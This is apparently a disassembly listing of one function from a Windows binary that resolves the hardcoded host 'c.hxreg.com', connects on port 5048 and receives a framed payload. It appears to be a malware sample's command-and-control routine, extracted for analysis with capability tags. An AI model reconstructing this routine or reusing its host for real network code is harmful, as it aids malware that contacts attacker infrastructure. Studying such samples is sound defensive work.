Function at 0x4053b0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x405541
push ebx
push ebp
push esi
push edi
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x405574
push str.c.hxreg.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40558a
mov ecx, dword [eax + 0xc]
push 0x13b8
mov edx, dword [ecx]
mov esi, dword [edx]
mov word [esp + 0x18], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x16], ax
lea eax, [esp + 0x14]
push 0x10
push eax
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x4055a0
mov esi, dword [esp + 0x1c0]
mov ecx, dword [esp + 0x1bc]
push esi
push ecx
push ebp
call fcn.00405280
add esp, 0xc
cmp eax, esi
jne 0x4055b3
mov ebx, dword [esp + 0x1c4]
test ebx, ebx
je 0x405639
mov esi, dword [esp + 0x1c8]
test esi, esi
je 0x405639
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0x21
push ebx
push ebp
rep stosb byte es:[edi], al
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jl 0x4055c1
je 0x4055d4
cmp eax, 0x21
jne 0x4055e5
mov eax, dword [ebx + 8]
mov ecx, dword [esp + 0x1b8]
cmp eax, ecx
jne 0x4055f6
mov eax, dword [ebx + 0xc]
test eax, eax
jne 0x405607
mov eax, dword [ebx + 0x1c]
lea ecx, [eax + 0x20]
cmp ecx, esi
ja 0x405614
lea esi, [eax - 1]
mov edi, 1
test esi, esi
je 0x40552b
push 0
lea ecx, [ebx + edi + 0x20]
push esi
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x405500
add edi, eax
sub esi, eax
jne 0x4054e5
jmp 0x40552b
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
jne 0x405513
push 0x2c2
push 0x4d4
jmp 0x40551f
push 0x2c6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.004048b0
add esp, 0xc
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1cc]
test eax, eax
je 0x405639
mov dword [eax], edi
jmp 0x405639
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x274
push eax
call fcn.004048b0
add esp, 0xc
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x275
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.004048b0
add esp, 0xc
add esp, 0x1a4
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x27d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x40562d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x282
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x40562d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x28c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x40562d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x292
push 0x58
jmp 0x40562d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x29c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x40562d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2a0
push 0x4d4
jmp 0x40562d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2a4
push 0x54f
jmp 0x40562d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2a8
push 0x54f
jmp 0x40562d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2ad
push eax
jmp 0x40562d
mov eax, dword [esp + 0x1cc]
test eax, eax
je 0x405621
mov dword [eax], ecx
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2b5
push 0x7a
call fcn.004048b0
add esp, 0xc
mov dword [esp + 0x10], eax
cmp ebp, 0xffffffff
je 0x405645
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a4
ret